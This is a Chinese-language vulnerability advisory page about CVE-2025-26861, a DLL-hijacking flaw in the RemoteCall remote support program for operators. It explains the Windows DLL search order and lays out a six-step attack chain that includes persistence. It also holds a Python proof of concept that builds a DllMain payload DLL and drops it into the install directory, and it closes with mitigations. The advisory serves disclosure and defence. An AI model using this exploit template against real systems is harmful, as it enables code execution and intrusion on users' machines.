IPBUF安全漏洞报告
English
CVE-2025-26861 CVSS 7.8 高危

CVE-2025-26861:RemoteCall远程支持程序DLL劫持导致任意代码执行漏洞

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-26861
漏洞类型
DLL劫持/不受控搜索路径元素漏洞
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
RemoteCall Remote Support Program (for Operator)

相关标签

DLL劫持不受控搜索路径CWE-427任意代码执行本地攻击RemoteCallRSupport远程支持软件高危漏洞CVE-2025-26861

漏洞概述

CVE-2025-26861是RemoteCall远程支持程序(操作员版)中存在的一个高危安全漏洞,漏洞类型为不受控搜索路径元素(Uncontrolled Search Path Element),即俗称的DLL劫持漏洞。该漏洞由JPCERT/CC的vultures团队发现并报告,CVSS 3.0评分为7.8分,属于高危级别。

RemoteCall是由日本RSupport公司开发的一款广泛使用的远程支持软件,操作员版(for Operator)主要用于技术支持人员远程连接和控制客户计算机进行故障排查和技术支持。该软件在全球范围内被众多企业IT支持团队和技术服务提供商使用。

漏洞的根本原因在于RemoteCall操作员版程序在加载DLL(动态链接库)时,未对搜索路径进行严格的控制。当程序需要加载某个特定的DLL文件时,Windows系统会按照特定的搜索顺序查找该DLL。如果攻击者能够在RemoteCall程序所在的同一目录下放置一个精心构造的同名恶意DLL文件,程序在加载时将优先加载该恶意DLL,从而导致任意代码执行。

由于该漏洞的攻击向量为本地攻击(AV:L),无需认证(PR:N),但需要用户交互(UI:R),且对机密性、完整性和可用性均产生高影响(C:H/I:H/A:H),因此一旦被利用,攻击者可以在受害者的计算机上以RemoteCall程序的权限执行任意代码,可能导致系统被完全控制、敏感数据泄露或恶意软件植入。

技术细节

该漏洞属于典型的DLL劫持(DLL Hijacking)攻击,属于不受控搜索路径元素(Uncontrolled Search Path Element,CWE-427)漏洞类别。

**漏洞原理:**
在Windows操作系统中,当应用程序需要加载一个DLL文件时,系统会按照以下默认搜索顺序进行查找:
1. 应用程序所在的目录
2. 系统目录(System32)
3. 16位系统目录
4. Windows目录
5. 当前工作目录(CWD)
6. PATH环境变量中列出的目录

RemoteCall操作员版程序在加载某些必要的DLL文件时,没有使用安全的加载机制(如LoadLibrary配合绝对路径、或使用带有LOAD_LIBRARY_SEARCH_DLL_LOAD_PATH标志的加载函数),而是依赖于Windows的默认DLL搜索顺序。这意味着如果攻击者能够将一个与程序所需DLL同名的恶意DLL文件放置在RemoteCall可执行文件所在的同一目录中,当程序启动时,Windows将优先从该目录加载DLL,从而执行攻击者的恶意代码。

**利用方式:**
1. 攻击者首先分析RemoteCall操作员版程序所依赖的DLL文件,确定可以被劫持的目标DLL
2. 创建一个与目标DLL同名的恶意DLL文件,其中包含恶意代码(如反弹shell、后门植入等)
3. 将恶意DLL放置到RemoteCall程序安装目录中
4. 等待合法用户启动RemoteCall程序
5. 程序启动时自动加载恶意DLL,执行其中的恶意代码
6. 恶意代码以RemoteCall程序的权限运行,攻击者获得对系统的控制权

该漏洞需要用户交互(UI:R)是因为需要用户主动启动RemoteCall程序才能触发恶意DLL的加载。攻击者可以通过社会工程学手段(如钓鱼邮件、即时消息等)诱骗用户启动程序。

攻击链分析

STEP 1
步骤1:侦察与目标识别
攻击者通过社会工程学或物理访问等方式,确定目标系统上安装了RemoteCall远程支持程序(操作员版)且版本低于5.3.0。攻击者分析RemoteCall程序的DLL加载行为,确定可被劫持的目标DLL文件。
STEP 2
步骤2:恶意DLL制作
攻击者创建一个与RemoteCall程序所需加载的DLL同名的恶意DLL文件,其中包含恶意载荷(如反弹shell、键盘记录器、远程访问工具等)。该恶意DLL需要导出原始DLL的所有函数接口,以确保程序正常运行不被察觉。
STEP 3
步骤3:恶意DLL部署
攻击者通过钓鱼邮件、即时消息、USB设备或其他社会工程学手段,将恶意DLL文件投递到目标系统,并放置到RemoteCall程序的安装目录中。攻击者可能伪装成技术支持人员或利用其他欺骗手段诱导用户接受文件。
STEP 4
步骤4:触发恶意DLL加载
当合法用户启动RemoteCall程序时,Windows系统按照默认的DLL搜索顺序,在程序所在目录中找到攻击者放置的恶意DLL并优先加载。恶意DLL的DllMain函数在DLL_PROCESS_ATTACH时执行恶意代码。
STEP 5
步骤5:任意代码执行
恶意代码以RemoteCall程序的权限执行,攻击者获得对目标系统的控制权。攻击者可以执行任意命令、窃取敏感数据、安装后门程序、横向移动到其他系统等。
STEP 6
步骤6:持久化与权限提升
攻击者利用获得的系统访问权限,建立持久化机制(如注册表自启动、计划任务等),并尝试进行权限提升以获取更高的系统控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-26861 - RemoteCall DLL Hijacking PoC # This PoC demonstrates a DLL hijacking attack against RemoteCall Remote Support Program # Target: RemoteCall Remote Support Program (for Operator) versions prior to 5.3.0 # Vulnerability: Uncontrolled Search Path Element (CWE-427) import os import shutil import ctypes from ctypes import wintypes # Step 1: Identify the target DLL to hijack # Common DLLs that RemoteCall may load without full path verification TARGET_DLLS = [ "version.dll", "wininet.dll", "ws2_32.dll", "dbghelp.dll", "msvcrt.dll" ] # Step 2: Create malicious DLL source code (malicious_dll.c) MALICIOUS_DLL_SOURCE = ''' // Malicious DLL for DLL Hijacking PoC - CVE-2025-26861 // Compile with: cl /LD malicious_dll.c #include <windows.h> #include <stdio.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) { switch (reason) { case DLL_PROCESS_ATTACH: // Execute malicious payload when DLL is loaded system("calc.exe"); // Replace with actual payload MessageBoxA(NULL, "CVE-2025-26861 Exploited!", "DLL Hijacking", MB_OK); break; case DLL_PROCESS_DETACH: break; } return TRUE; } ''' def create_malicious_dll(target_dll_name, output_path): """Create a malicious DLL file at the specified path""" # Write the source code to a file source_path = f"{output_path}\{target_dll_name.split('.')[0]}_malicious.c" with open(source_path, 'w') as f: f.write(MALICIOUS_DLL_SOURCE) # Compile the DLL (requires Visual Studio or MinGW) os.system(f'cl /LD "{source_path}" /Fe:"{output_path}\\{target_dll_name}"') print(f"[+] Created malicious DLL: {output_path}\\{target_dll_name}") def deploy_malicious_dll(remotecall_path, target_dll_name): """Deploy the malicious DLL to the RemoteCall installation directory""" malicious_dll_source = f"./{target_dll_name}" malicious_dll_dest = f"{remotecall_path}\\{target_dll_name}" if os.path.exists(malicious_dll_source): shutil.copy2(malicious_dll_source, malicious_dll_dest) print(f"[+] Deployed malicious DLL to: {malicious_dll_dest}") return True else: print(f"[-] Source DLL not found: {malicious_dll_source}") return False def main(): # Configuration REMOTECALL_INSTALL_PATH = r"C:\Program Files\RemoteCall" TARGET_DLL = "version.dll" # Target DLL to hijack print("=" * 60) print("CVE-2025-26861 - RemoteCall DLL Hijacking PoC") print("=" * 60) # Step 1: Check if RemoteCall is installed if not os.path.exists(REMOTECALL_INSTALL_PATH): print(f"[-] RemoteCall not found at: {REMOTECALL_INSTALL_PATH}") return print(f"[+] RemoteCall found at: {REMOTECALL_INSTALL_PATH}") # Step 2: Create malicious DLL print("[*] Creating malicious DLL...") create_malicious_dll(TARGET_DLL, os.getcwd()) # Step 3: Deploy malicious DLL to RemoteCall directory print("[*] Deploying malicious DLL...") if deploy_malicious_dll(REMOTECALL_INSTALL_PATH, TARGET_DLL): print("[+] Exploit deployed successfully!") print("[*] Wait for user to launch RemoteCall to trigger the exploit") else: print("[-] Failed to deploy exploit") if __name__ == "__main__": main()

影响范围

RemoteCall Remote Support Program (for Operator) < 5.3.0

防御指南

临时缓解措施
在无法立即升级到5.3.0版本的情况下,建议采取以下临时缓解措施:1)限制RemoteCall安装目录的文件写入权限,仅允许系统管理员进行修改;2)监控RemoteCall程序目录下的文件变化,及时发现可疑的DLL文件;3)部署主机入侵检测系统(HIDS)监控异常的DLL加载行为;4)使用应用程序控制策略限制RemoteCall目录下的可执行文件和DLL文件的执行;5)对终端用户进行安全培训,警惕可疑文件和未经授权的远程支持请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表